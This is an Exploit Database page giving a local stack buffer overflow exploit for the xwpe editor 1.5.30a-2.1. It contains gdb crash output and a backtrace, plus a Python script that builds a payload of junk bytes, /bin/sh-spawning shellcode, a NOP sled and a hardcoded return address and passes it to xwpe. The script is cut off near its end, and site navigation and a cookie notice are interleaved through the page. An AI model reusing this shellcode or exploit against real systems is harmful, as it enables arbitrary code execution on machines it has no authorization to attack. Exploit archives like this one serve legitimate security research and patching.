EXPLOIT DATABASE

- EXPLOITS
- GHDB
- PAPERS
- SHELLCODES
- SEARCH EDB
- SEARCHSPLOIT MANUAL
- SUBMISSIONS

EXPLOIT DATABASE

- EXPLOITS
- GHDB
- PAPERS
- SHELLCODES
- SEARCH EDB
- SEARCHSPLOIT MANUAL
- SUBMISSIONS

xWPE 1.5.30a-2.1 - Local Buffer Overflow

EDB-ID:
39285

CVE:

EDB Verified: ✕

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

```
# Exploit Author: Juan Sacco - http://www.exploitpack.com <
jsacco@exploitpack.com>
# Program: xwpe - Windows Editor v1.5.30a-2.1
# Description: Programming environment and editor for console and X11
# Tested and developed on:  Kali Linux 2.0 x86 - https://www.kali.org
#
# Description: xwpe v1.5.30a-2.1 and prior is prone to a stack-based buffer
# overflow vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.identicalsoftware.com/xwpe
# Kali Linux 2.0 package: pool/main/x/xwpe/xwpe_1.5.30a-2.1_i386.deb
# MD5: 793a89f7df892c7934be6c2353a6f0f9
#
#gdb$ run $(python -c 'print "\x90" * 290  + "DCBA"')
#Starting program: /usr/bin/xwe $(python -c 'print "\x90" * 290  + "DCBA"')
#sh: 1: /usr/sbin/gpm: not found
#
#  ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFFFF370  EIP:
```

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details

```
#13 0x00000006 in ?? ()
#14 0x00002710 in ?? ()
#15 0x0000009a in ?? ()
#16 0xfac9bc00 in ?? ()
#17 0x00000098 in ?? ()
#18 0x00000011 in ?? ()
#19 0xb7f783d9 in _nc_wgetch () from /lib/i386-linux-gnu/libncurses.so.5
#20 0xb7f79162 in wgetch () from /lib/i386-linux-gnu/libncurses.so.5
#21 0x0809927d in ?? ()
#22 0x0806b23c in ?? ()
#23 0x08055c78 in ?? ()
#24 0x080565b5 in ?? ()iles  ESC-F3 Close W.  F4 Search  ^L S.Again  ESC-X
Quit

#25 0x080574aa in ?? ()
#26 0x0804b8b8 in ?? ()
#27 0xb7ddca63 in __libc_start_main (main=0x804b570, argc=0x2,
argv=0xbffff664, init=0x809a060, fini=0x809a050, rtld_fini=0xb7fedc90
<_dl_fini>, stack_end=0xbffff65c) at libc-start.c:287
#28 0x08049ea1 in ?? ()

import os,subprocess
def run():
  try:
    print "# xwpe Buffer Overflow by Juan Sacco"
```

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

```
    print "# It's AGAIN Fuzzing time on unusable exploits"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*262
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*124
    eip = "\x50\xd1\xff\xbf"
    subprocess.call(["xwpe",' ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, xwpe not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
```


Solutions

EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES